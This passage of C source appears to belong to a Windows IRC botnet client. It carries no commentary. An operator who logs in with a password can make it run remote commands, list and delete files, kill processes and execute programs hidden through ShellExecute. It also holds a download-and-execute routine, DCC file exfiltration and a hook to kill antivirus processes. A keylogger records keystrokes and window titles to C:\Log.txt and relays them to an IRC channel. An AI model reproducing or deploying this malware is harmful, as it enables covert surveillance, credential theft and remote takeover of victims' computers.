if(strcmp(arg[3],mynick) == 0)
sprintf(buffer,"JOIN %s",arg[2]);
if(CheckMaster(arg[3]))ClearUsers(arg[3]);
}
if(strcmp(arg[1],"KILL")==0 && strcmp(arg[2],mynick)==0)main();
if((arg[7]) != NULL){
if(strcmp(":\1DCC",arg[3]) == 0 && strcmp(arg[4],"RESUME") != 0)
{
for(i = 0;i < maxlogins;i++)
if(CheckMaster(cNick(arg[0])))
{
memset(dccfilename,0,sizeof(dccfilename));
memset(dcchost,0,sizeof(dcchost));
dcchosts = sock;
strcpy(sendtochan,cNick(arg[0]));
strcpy(dccfilename,arg[5]);
strcpy(dcchost,arg[6]);
dccport = atoi(arg[7]);
CreateThread(NULL, 0, &dcc_getfile, NULL, 0, &id);
}
}
}
if(arg[4] != NULL)
{
if(strcmp((char*)arg[1],"PRIVMSG") == 0 &&
(strcmp((char*)arg[2],HomeChan) == 0 ||
strcmp((char*)arg[2],BacChan) == 0 ||
strcmp(arg[2],mynick) == 0) &&
strncmp(&arg[3][1],Prefix,1) == 0 &&
strcmp(&arg[3][2],"login") == 0 &&
strcmp((char*)arg[4],Botpwd) == 0)
{
if(CheckMaster(cNick(arg[0])))return 1;
for(i = 0;i < maxlogins;i++)
{
memset(buffer,0,512);
if(logins[i][0] != '\0')
if(i == maxlogins - 1)
{
privmsg(sock,"\2-> I cant handle more users\15",arg[2]);
break;
}
else continue;
if (strcmp((char*)arg[4],Botpwd) == 0)
{
strcpy(logins[i],cNick(arg[0]));
privmsg(sock,"-> Password accepted",curchan);
break;
}
}
}
}
if(arg[3] != NULL)
{
if(strcmp((char*)arg[1],"PRIVMSG") == 0)
{
if(strcmp((char*)arg[2],HomeChan) == 0)
strcpy(curchan,HomeChan);
else
if(strcmp((char*)arg[2],BacChan) == 0)
strcpy(curchan,BacChan);
else
if(strcmp((char*)arg[2],mynick)==0)
strcpy(curchan,cNick(arg[0]));
else return 1;
if(CheckMaster(cNick(arg[0]))&& strncmp(&arg[3][1],Prefix,1)==0)
{
/* for(i = 0;(unsigned)i < strlen(&arg[3][0]);i++)
if(arg[3][i] == ':'){
strcpy(command,&arg[3][i+2]);
break;
}*/
strcpy(command,&arg[3][2]);
if(strcmp(op_cmd,command) == 0)
sprintf(buffer,"MODE %s +o %s",arg[4],arg[5]);
if(strcmp(deop_cmd,command) == 0)
sprintf(buffer,"MODE %s -o %s",arg[4],arg[5]);
if(strcmp(v_cmd,command) == 0)
sprintf(buffer,"MODE %s +v %s",arg[4],arg[5]);
if(strcmp(vn_cmd,command) == 0)
sprintf(buffer,"MODE %s -v %s",arg[4],arg[5]);
if(strcmp(kick_cmd,command)==0)
sprintf(buffer,"KICK %s %s %s",arg[4],arg[5],arg[6]);
if(strcmp(ban_cmd,command)==0) // ban + kick :)
sprintf(buffer,"MODE %s +b %s\nKICK %s %s",arg[4],arg[5],arg[4],arg[5]);
if(strcmp(unban_cmd,command)==0)
sprintf(buffer,"MODE %s -b %s",arg[4],arg[5]);
if(strcmp(join_cmd,command)==0)
sprintf(buffer,"JOIN %s",arg[4]);
if(strcmp(logout_cmd,command)==0)
ClearUsers(cNick(arg[0]));
if(strcmp(part_cmd,command)==0)
sprintf(buffer,"PART %s",arg[4]);
if (strcmp(hop_cmd, command) == 0)
sprintf(buffer,"PART %s \r\n JOIN %s %s",arg[4],arg[4],arg[5]);
if (strcmp(reco_cmd, command) == 0) {
ClearUsers("");
irc_send(sock, "QUIT :reconnecting");
main();
}
if (strcmp(rndn_cmd, command) == 0) {
sprintf(buffer,"NICK %s",rndnick(nick));
strcpy(mynick,nick);
}
if (strcmp(die_cmd, command) == 0)exit(0);
if(strcmp(raw_cmd,command)==0)
{
memset(buffer,0,512);
for(i = 4;arg[i];i++)
{
strcat(buffer," ");
strcat(buffer,arg[i]);
}
}
//-------------------------------------------
if (strcmp(ver_cmd, command) == 0)
privmsg(sock,(char*)bver,curchan);
if (strcmp(sys_cmd, command) == 0)
privmsg(sock,sysinfo(buff),curchan);
if(strcmp(status_cmd,command) ==0 )
{
total = (GetTickCount() / 1000) - started;
days = total / 86400;
hours = (total % 86400) / 3600;
minutes = ((total % 86400) % 3600) / 60;
sprintf(buffer, "PRIVMSG %s :\2-> Online for: %dd %dh %dm\15",curchan,days, hours, minutes);
}
if(strcmp(dns_cmd,command) == 0)
sprintf(buffer,"PRIVMSG %s :-> %s Resolved to \2-> %s <-\15",curchan,command,DNS(arg[4]));
if(strcmp(listf_cmd,command) == 0)
{
strcpy(lst.dir,arg[4]);
lst.sock = sock;
strcpy(lst.who,curchan);
CreateThread(NULL, 0, &ListF, &lst, 0, &id);
}
if(strcmp(dccget_cmd,command) == 0)
{
dcchosts = sock;
strcpy(sendtochan,cNick(arg[0]));
strcpy(dccfilename,arg[4]);
CreateThread(NULL, 0, &dcc_send, NULL, 0, &id);
}
if(strcmp(process_cmd,command) == 0)
{
lsock = sock;
strcpy(pwho,curchan);
CreateThread(NULL,0,&ListP,NULL,0,&id);
}
if(strcmp(killp_cmd,command) == 0)
KillProcess(arg[4],0);
if(strcmp(listd_cmd,command) == 0)
ListD(sock);
if(strcmp(run_cmd,command) == 0)
if(arg[6] != NULL)
Run(sock,arg[4],arg[5],arg[6]);
else
Run(sock,arg[4],arg[5],"");
if(strcmp(md_cmd,command) == 0)
if (!CreateDirectory(arg[4],0)) strcpy(buffer,no_cmd);
if(strcmp(rd_cmd,command) == 0)
if (!RemoveDirectory(arg[4])) strcpy(buffer,no_cmd);
if(strcmp(del_cmd,command) == 0)
if (!DeleteFile(arg[4])) strcpy(buffer,no_cmd);
if(strcmp(ren_cmd,command) == 0)
if (MoveFile(arg[4],arg[5])) strcpy(buffer,no_cmd);
if(strcmp(thr_cmd,command) == 0)
{
for (i=0;i <= 40;i++) {
if (threads[i].id != 0) {
sprintf(buffer,"%i: %s\n",i,threads[i].name);
privmsg(sock,buffer,curchan);
Sleep(flood);
}
}
memset(buffer,0,sizeof(buffer));
}
if(strcmp(killthr_cmd,command) == 0)
{
t = atoi(arg[4]);
if (t > 39) return 0;
if (threads[t].id != 0) {
if (TerminateThread(threads[t].Threat_Handle,0) == 0) strcpy(buffer,no_cmd);
else {
sprintf(buffer,"Thread killed (%s)",threads[t].name);
privmsg(sock,buffer,curchan);
closesocket(threads[t].sock);
threads[t].id = 0;
}
}
memset(buffer,0,sizeof(buffer));
}
if(strcmp(keylogg_cmd,command) == 0)
{
keysock = sock;
sendkeysto = 1;
}
if(strcmp(keystop_cmd,command) == 0)
sendkeysto = 0;
if(strcmp(delay_cmd,command) == 0)
{
sec = atoi(arg[4]);
for(i = 0;arg[i] != NULL;i++)
{
if(i <= 2)
{
strcat(buffer,arg[i]);
strcat(buffer," ");
if(i == 2)strcat(buffer," :");
}
else if(i >= 5)
{
strcat(buffer,arg[i]);
strcat(buffer," ");
}
}
for(i = 0;i < sec;i++)
{
Sleep(1000);
strcpy(buff,buffer);
Split(sock,buff,mynick);
}
memset(buffer,0,512);
}
if(strcmp(download_cmd,command) == 0 && arg[6] != NULL)
{
Downs.sock = sock;
strcpy(Downs.web,arg[4]);
strcpy(Downs.Path,arg[5]);
strcpy(Downs.Run,arg[6]);
Threat_Handle = CreateThread(NULL, 0, &Download, NULL, 0, &id);
addthread("Download",0,Threat_Handle,1,"\0");
}
if(strcmp(msg_cmd,command) == 0)
{
for(i = 5;arg[i] != NULL;i++)
{
strcat(buffer," ");
strcat(buffer,arg[i]);
}
privmsg(sock,buffer,arg[4]);
memset(buffer,0,512);
}
if(strcmp(notice_cmd,command) == 0)
{
for(i = 5;arg[i] != NULL;i++)
{
strcat(buffer," ");
strcat(buffer,arg[i]);
}
privmsg(sock,buffer,arg[4]);
sprintf(buff,"NOTICE %s :%s",arg[4],buffer);
irc_send(sock,buff);
memset(buffer,0,512);
memset(buff,0,512);
}
}
}
}
}
irc_send(sock, buffer);
return 0;
}
char* cNick(char *str)
{
static char nick[16];
char * p = nick;
str++;
while((*p=*str) && *str!='!' && *str)
{ p++;str++; }
*p = 0;
return nick;
}
char *cHost(char *str)
{
char *p;
char buffer[64] = {0};
p = strtok(str,"!");
p = p+strlen(p++);
return p;
}
void Connect(char *server,int port)
{
ircs birc;
strcpy(birc.host,shost);
strcpy(birc.rnick,rndnick(birc.rnick));
strcpy(birc.chan ,HomeChan);
strcpy(birc.chpass,ChanPass);
strcpy(birc.hchan,BacChan);
birc.port = sPort;
irc_connect(&birc);
}
//=============================Stufs needed================================
char * sysinfo(char *sinfo)
{
int total;
char *os;
char os2[140];
MEMORYSTATUS memstat;
OSVERSIONINFO verinfo;
GlobalMemoryStatus(&memstat); // load memory info into memstat
verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // required for some strange reason
GetVersionEx(&verinfo); // load version info into verinfo
if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95";
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT";
}
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98";
else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP";
else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2003";
else os = "??";
if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0] != '\0') {
sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion);
os = os2;
}
total = GetTickCount() / 1000; // GetTickCount() / 1000 = seconds since os started.
sprintf(sinfo, "-> CPU: %I64uMHz -> RAM: %dKB total, %dKB free -> OS: Windows %s [%d.%d, build %d] -> Uptime: %dd %dh %dm",
cpuspeed(), memstat.dwTotalPhys / 1024, memstat.dwAvailPhys / 1024,
os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total / 86400, (total % 86400) / 3600, ((total % 86400) % 3600) / 60);
return sinfo; // return the sysinfo string
}
// cpu speed function
unsigned __int64 cpuspeed(void)
{
unsigned __int64 startcycle;
unsigned __int64 speed, num, num2;
do {
startcycle = cyclecount();
Sleep(1000);
speed = ((cyclecount()-startcycle)/100000)/10;
} while (speed > 1000000); // if speed is 1000GHz+, then something probably went wrong so we try again =P
// guess 'real' cpu speed by rounding raw cpu speed (something like 601mhz looks kinda tacky)
num = speed % 100;
num2 = 100;
if (num < 80) num2 = 75;
if (num < 71) num2 = 66;
if (num < 55) num2 = 50;
if (num < 38) num2 = 33;
if (num < 30) num2 = 25;
if (num < 10) num2 = 0;
speed = (speed-num)+num2;
return speed;
}
// asm for cpuspeed() (used for counting cpu cycles)
#pragma warning( disable : 4035 )
unsigned __int64 cyclecount(void)
{
#if defined (__LCC__) // this code is for lcc
unsigned __int64 count = 0;
_asm ("rdtsc\n"
"mov %eax,%count\n");
return count;
#elif defined (__GNUC__) // this code is for GCC
unsigned __int64 count = 0;
__asm__ ("rdtsc;movl %%eax, %0" : "=r" (count));
return count;
#else // this code is for MSVC, may work on other compilers (ignore the warnings, MSVC is stupid...)
_asm {
_emit 0x0F;
_emit 0x31;
}
#endif
}
DWORD WINAPI ListF(LPVOID param)
{
char sendbuf[MAX_PATH];
char parent[MAX_PATH];
int count = 0;
int count2 = 0;
HANDLE Hnd;
WIN32_FIND_DATA WFD;
lpt fls;
lpt *lst = (lpt *)param;
fls = *((lpt *)param);
if(strlen(fls.dir) >=3)
{
memset(parent,0,sizeof(parent));
sprintf(sendbuf,"S: %s",fls.dir);
privmsg(fls.sock,sendbuf,fls.who);
Hnd = FindFirstFile(fls.dir, &WFD);
while (FindNextFile(Hnd, &WFD))
{
if ((WFD.dwFileAttributes) && (strcmp(WFD.cFileName, "..") && strcmp(WFD.cFileName, ".")))
{
memset(sendbuf,0,sizeof(sendbuf));
if (WFD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
count2++;
sprintf(sendbuf,"<%s>",WFD.cFileName);
privmsg(fls.sock,sendbuf,fls.who);
}
else {
count++;
sprintf(sendbuf,"%s (%i bytes)\r\n",WFD.cFileName,WFD.nFileSizeLow);
privmsg(fls.sock,sendbuf,fls.who);
}
if (fls.who) Sleep(flood);
}
}
FindClose(Hnd);
sprintf(sendbuf,"Found: %i files and %i dirs",count,count2);
privmsg(fls.sock,sendbuf,fls.who);
}
return 0;
}
DWORD WINAPI dcc_getfile(LPVOID param)
{
char buffer[4096];
char sendbuffer[512];
char chan[50];
char host[20];
char sysdir[MAX_PATH];
char filename[MAX_PATH];
DWORD err;
SOCKET dcc;
SOCKET sock;
FILE *infile;
HANDLE testfile;
int port;
int received = 0;
unsigned long received2;
sock = dcchosts;
strcpy(chan,sendtochan);
port = dccport;
sprintf(host,dcchost);
GetSystemDirectory(sysdir, sizeof(sysdir));
sprintf(filename,"%s\\%s",sysdir,dccfilename);
memset(sendbuffer,0,sizeof(sendbuffer));
while (1)
{
testfile = CreateFile(filename,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
/* if (testfile == INVALID_HANDLE_VALUE) {
sprintf(sendbuffer,"Error with file");
break;
}*/
CloseHandle(testfile);
infile = fopen(filename,"a+b");
if (infile == NULL) {
sprintf(sendbuffer,"Error with file");
break;
}
if ((dcc = create_sock(host,port)) == SOCKET_ERROR) {
sprintf(sendbuffer,"Error connecting");
break;
}
err = 1;
while (err != 0) {
memset(buffer,0,sizeof(buffer));
err = recv( dcc, buffer, sizeof(buffer), 0);
if (err == 0) break;
if (err == SOCKET_ERROR) {
dccsenderror(sock,chan,"Socket error");
fclose(infile);
closesocket(dcc);
return 1;
}
fwrite(buffer,1,err,infile);
received = received + err;
received2 = htonl(received);
send(dcc,(char *)&received2 , 4, 0);
}
sprintf(sendbuffer,"Transfer complete (size: %i bytes)",received);
break;
}
dccsenderror(sock,chan,sendbuffer);
if (infile != NULL) fclose(infile);
closesocket(dcc);
return 0;
}
SOCKET create_sock(char *host, int port)
{
LPHOSTENT lpHostEntry = NULL;
SOCKADDR_IN SockAddr;
SOCKET sock;
IN_ADDR iaddr;
if ((sock = socket( AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
return -1;
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons((short)port);
iaddr.s_addr = inet_addr(host);
if (iaddr.s_addr == INADDR_NONE) lpHostEntry = gethostbyname(host); //hostname
if (lpHostEntry == NULL && iaddr.s_addr == INADDR_NONE) //error dns
return -1;
if (lpHostEntry != NULL)
SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list); //hostname
else
SockAddr.sin_addr = iaddr; //ip address
if (connect(sock, (SOCKADDR *) &SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) {
closesocket(sock);
return -1;
}
return sock;
}
DWORD WINAPI dcc_send(LPVOID param)
{
char buffer[1024];
char chan[50];
char filename[MAX_PATH];
char sendbuf[512];
char file[MAX_PATH];
char ip[32];
int length;
unsigned int move;
UINT c;
int addrlen;
int Fsend;
int bytes_sent;
int sas;
short portnum;
DWORD err2;
DWORD mode = 0;
SOCKET dcc;
SOCKET sock;
SOCKET sendsock;
SOCKADDR_IN GuestAddr;
SOCKADDR_IN SockAddr;
HANDLE testfile;
TIMEVAL time;
fd_set fd_struct;
SOCKADDR sa;
sas = sizeof(sa);
memset(&sa, 0, sizeof(sa));
getsockname(dcchosts, &sa, &sas);
wsprintf(ip, "%d.%d.%d.%d", (BYTE)sa.sa_data[2], (BYTE)sa.sa_data[3], (BYTE)sa.sa_data[4], (BYTE)sa.sa_data[5]);
memset(chan,0,sizeof(chan));
strcpy(chan,sendtochan);
sendsock = dcchosts;
strcpy(filename,dccfilename);
memset(sendbuf,0,sizeof(sendbuf));
while (1)
{
if ((dcc = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
break;
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(0);//random port
SockAddr.sin_addr.s_addr = INADDR_ANY;
if (bind(dcc, (SOCKADDR *)&SockAddr, sizeof(SockAddr)) != 0)
break;
length = sizeof(SockAddr);
getsockname(dcc, (SOCKADDR *)&SockAddr, &length);
portnum = ntohs(SockAddr.sin_port);
for (c=0;c<=strlen(filename);c++)
{
if (filename[c] == 32) file[c] = 95;
else file[c] = filename[c];
}
if (listen(dcc, 1) != 0)
break;
testfile = CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (testfile == INVALID_HANDLE_VALUE)
break;
length = GetFileSize(testfile,NULL);
sprintf(sendbuf,"\1DCC SEND %s %i %i %i\1\r",file,htonl(inet_addr(ip)),portnum,length);
dccsenderror(sendsock,chan,sendbuf);
time.tv_sec = 60;//timeout after 60 sec.
time.tv_usec = 0;
FD_ZERO(&fd_struct);
FD_SET(dcc, &fd_struct);
if (select(0, &fd_struct, NULL, NULL, &time) <= 0)
{
dccsenderror(sendsock,chan,"Dcc send timeout");
break;
}
addrlen = sizeof(GuestAddr);
if ((sock = accept(dcc, (SOCKADDR *)&GuestAddr,&addrlen)) == INVALID_SOCKET)
break;
closesocket(dcc);
while (length) {
Fsend = 1024;
memset(buffer,0,sizeof(buffer));
if (Fsend>length) Fsend=length;
move = 0-length;
SetFilePointer(testfile, move, NULL, FILE_END);
ReadFile(testfile, buffer, Fsend, &mode, NULL);
bytes_sent = send(sock, buffer, Fsend, 0);
err2 = recv(sock,buffer ,sizeof(buffer), 0);
if (err2 < 1 || bytes_sent < 1) {
dccsenderror(sendsock,chan,"Socket error");
closesocket(sock);
return 1;
}
length = length - bytes_sent;
}
if (testfile != INVALID_HANDLE_VALUE)
CloseHandle(testfile);
memset(sendbuf,0,sizeof(sendbuf));
sprintf(sendbuf,"Transfer complete");
break;
}
dccsenderror(sendsock,chan,sendbuf);
if (dcc > 0)
closesocket(dcc);
closesocket(sock);
return 0;
}
int dccsenderror(SOCKET sock,char *chan,char *buf)
{
char buffer[512];
strcat(buf,"\n");
memset(buffer,0,sizeof(buffer));
if (chan) sprintf(buffer,"PRIVMSG %s :%s",chan,buf);
else sprintf(buffer,buf);
send(sock,buffer,strlen(buffer),0);
return 0;
}
DWORD WINAPI ListP(LPVOID param)
{
HANDLE hProcList;
PROCESSENTRY32 pe;
BOOL bMoreProcesses;
hProcList = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcList == 0)
return 0;
pe.dwSize = sizeof(PROCESSENTRY32);
bMoreProcesses=Process32First(hProcList,&pe);
while(bMoreProcesses)
{
if(pe.th32ProcessID != GetCurrentProcessId())
Sleep(flood);
privmsg(lsock,pe.szExeFile,pwho);
pe.dwSize = sizeof(PROCESSENTRY32);
bMoreProcesses=Process32Next(hProcList,&pe);
}
privmsg(lsock,"[Process List finished]",pwho);
return 0;
}
void KillProcess(char Process[256],BOOL AV)
{
HANDLE Snap;
HANDLE laris;
PROCESSENTRY32 proc32;
int c;
Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(Snap==INVALID_HANDLE_VALUE)return;
proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE)
{
laris = OpenProcess(PROCESS_TERMINATE, 0, proc32.th32ProcessID);
if(strcmp(Process,proc32.szExeFile) == 0)
{
TerminateProcess(laris,0);
CloseHandle(laris);
break;
}
if(AV == TRUE)
{
for(c=0;kill_list[c];c++)
{
CharUpperBuff(proc32.szExeFile,strlen(proc32.szExeFile));
if((strstr(proc32.szExeFile,kill_list[c])) != NULL)
{
TerminateProcess(laris, 0);
CloseHandle(laris);
}
}
}
}
CloseHandle(Snap);
}
void ListD(SOCKET sock)
{
char buf[4];
char msg[32];
char i;
UINT dr_type;
for(i = 'a';i<='z';i++)
{
buf[0] = i;
buf[1] = ':';
buf[2] = '\0';
dr_type = GetDriveType(buf);
if(dr_type == DRIVE_REMOVABLE)
{
sprintf(msg,"%s - DRIVE_REMOVABLE",buf);
privmsg(sock,msg,curchan);
}
if(dr_type == DRIVE_FIXED)
{
sprintf(msg,"%s - DRIVE_FIXED",buf);
Sleep(flood);
privmsg(sock,msg,curchan);
}
if(dr_type == DRIVE_REMOTE)
{
sprintf(msg,"%s - DRIVE_REMOTE",buf);
privmsg(sock,msg,curchan);
}
}
}
void Run(SOCKET sock,char *file,char *param,char *what)
{
if(strlen(what) > 0)
{
if (!ShellExecute(0, "open",file, param, NULL, SW_SHOW))
privmsg(sock,"Couldn't execute file.",curchan);
return;
}
if (!ShellExecute(0, "open",file, param, NULL, SW_HIDE))
privmsg(sock,"Couldn't execute file.",curchan);
}
int addthread(char *name,SOCKET sock,HANDLE Threat_Handle,int id,char * dir)
{
int c;
for (c=0;c <= 40;c++)
if (threads[c].id == 0) break;
if (c > 19) return -1;
sprintf(threads[c].name,name);
threads[c].id = id;
threads[c].num = c;
threads[c].sock = sock;
threads[c].Threat_Handle = Threat_Handle;
sprintf(threads[c].dir,dir);
return c;
}
DWORD WINAPI kill_av(LPVOID param)
{
while (1) {
// KillProcess("",TRUE);
Sleep(killer_delay);
}
return 0;
}
DWORD WINAPI keylogger(LPVOID Param)
{
HWND win, winold;
int bKstate[256]={0};
int i,x;
int err = 0;
int threadnum = (int)Param;
char buffer[600];
char buffer2[800];
char window[61];
char date[70];
int state;
int shift;
char logfile[MAX_PATH];
char sysdir[MAX_PATH];
FILE *log;
GetSystemDirectory(sysdir, sizeof(sysdir));
// sprintf(logfile,"%s\\%s",sysdir,keylogfilename);
sprintf(logfile,"C:\\Log.txt");
log = fopen(logfile,"aw");
if (log != NULL) {
GetDateFormat(0x409,0,0,"\n[dd:MMM:yyyy, ",date,70);
fputs(date,log);
memset(date,0,sizeof(date));
GetTimeFormat(0x409,0,0," HH:mm:ss]",date,70);
fputs(date,log);
fputs(" Keylogger Started\n\n",log);
fclose(log);
}
memset(buffer,0,sizeof(buffer));
win = GetForegroundWindow();
winold = win;
GetWindowText(winold,window,60);
while (err == 0) {
Sleep(8);
win = GetForegroundWindow();
if (win != winold) {
if (strlen(buffer) != 0) {
sprintf(buffer2,"%s (Changed window",buffer);
err = sendkeys(keysock,buffer2,window,logfile);
memset(buffer,0,sizeof(buffer));
memset(buffer2,0,sizeof(buffer2));
}
win = GetForegroundWindow();
winold = win;
GetWindowText(winold,window,60);
}
for(i=0;i<92;i++)
{
shift = GetKeyState(VK_SHIFT);
x = inputL[i];
if (GetAsyncKeyState(x) & 0x8000) {
//see if capslock or shift is pressed doesnt work most of the time on win9x
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))//caps lock and NOT shift
bKstate[x] = 1;//upercase a-z
else if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))//caps lock AND shift
bKstate[x] = 2;//lowercase a-z
else if (shift < 0) //Shift
bKstate[x] = 3; //upercase
else bKstate[x] = 4; //lowercase
}
else {
if (bKstate[x] != 0)
{
state = bKstate[x];
bKstate[x] = 0;
if (x == 8) {
buffer[strlen(buffer)-1] = 0;
continue;
}
else if (strlen(buffer) > 550) {
win = GetForegroundWindow();
GetWindowText(win,window,60);
sprintf(buffer2,"%s (Buffer full",buffer);
err = sendkeys(keysock,buffer2,window,logfile);
memset(buffer,0,sizeof(buffer));
memset(buffer2,0,sizeof(buffer2));
continue;
}
else if (x == 13) {
if (strlen(buffer) == 0) continue;
win = GetForegroundWindow();
GetWindowText(win,window,60);
sprintf(buffer2,"%s (Return",buffer);
err = sendkeys(keysock,buffer2,window,logfile);
memset(buffer,0,sizeof(buffer));
memset(buffer2,0,sizeof(buffer2));
continue;
}
else if (state == 1 || state == 3)
strcat(buffer,outputH[i]);
else if (state == 2 || state == 4)
strcat(buffer,outputL[i]);
}
}
}
}
threads[threadnum].id = 0;
return 1;
}
int sendkeys(SOCKET sock,char *buf,char *window,char *logfile)
{
char buffer[4092];
char date[20];
int len = 0;
int c;
FILE *log;
strcat(buf,")\n");
log = fopen(logfile,"aw");
if (log != NULL) {
GetTimeFormat(0x409,0,0,"[HH:mm:ss] ",date,19);
fputs(date,log);
len = strlen(date) + strlen(window);
fputs(window,log);
len = 75 - len;
if (len > 0) {
for(c=0;c<len;c++)
fputc(32,log);
}
fputs(buf,log);
fclose(log);
}
if (sendkeysto == 0) return 0;
strcat(buf,"\r");
if (strlen(keylogchan) == 0)
sprintf(buffer,"(%s) .10 %s",window,buf);
else
sprintf(buffer,"PRIVMSG %s :(%s).10 %s",keylogchan,window,buf);
privmsg(sock,buffer,curchan);
// sendkeysto = 0;
return 0;
}
int CheckNet()
{
DWORD Connected;
ULONG FLAGS = INTERNET_CONNECTION_MODEM |
INTERNET_CONNECTION_LAN |
INTERNET_CONNECTION_PROXY;
if(InternetGetConnectedState(&Connected, 0))
return 1;
return 0;
}
DWORD WINAPI Download(LPVOID param)
{
//while(CheckNet != 1)Sleep(10000);
if(URLDownloadToFile(0, Downs.web,Downs.Path, 0, 0) == S_OK)
{
privmsg(Downs.sock,"Downloading in progress...",curchan);
if(strcmp(Downs.Run,"true") == 0)
ShellExecute(NULL,"open",Downs.Path,NULL,NULL,SW_HIDE);
privmsg(Downs.sock,"File Downloaded",curchan);
ExitThread(0);
return 1;
}
else
privmsg(Downs.sock,"Cant Download File",curchan);
ExitThread(0);
return 0;
}
#pragma comment(lib,"wininet.lib")
#pragma comment(lib,"wsock32.lib")
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"urlmon.lib")
| ||||||||||||||||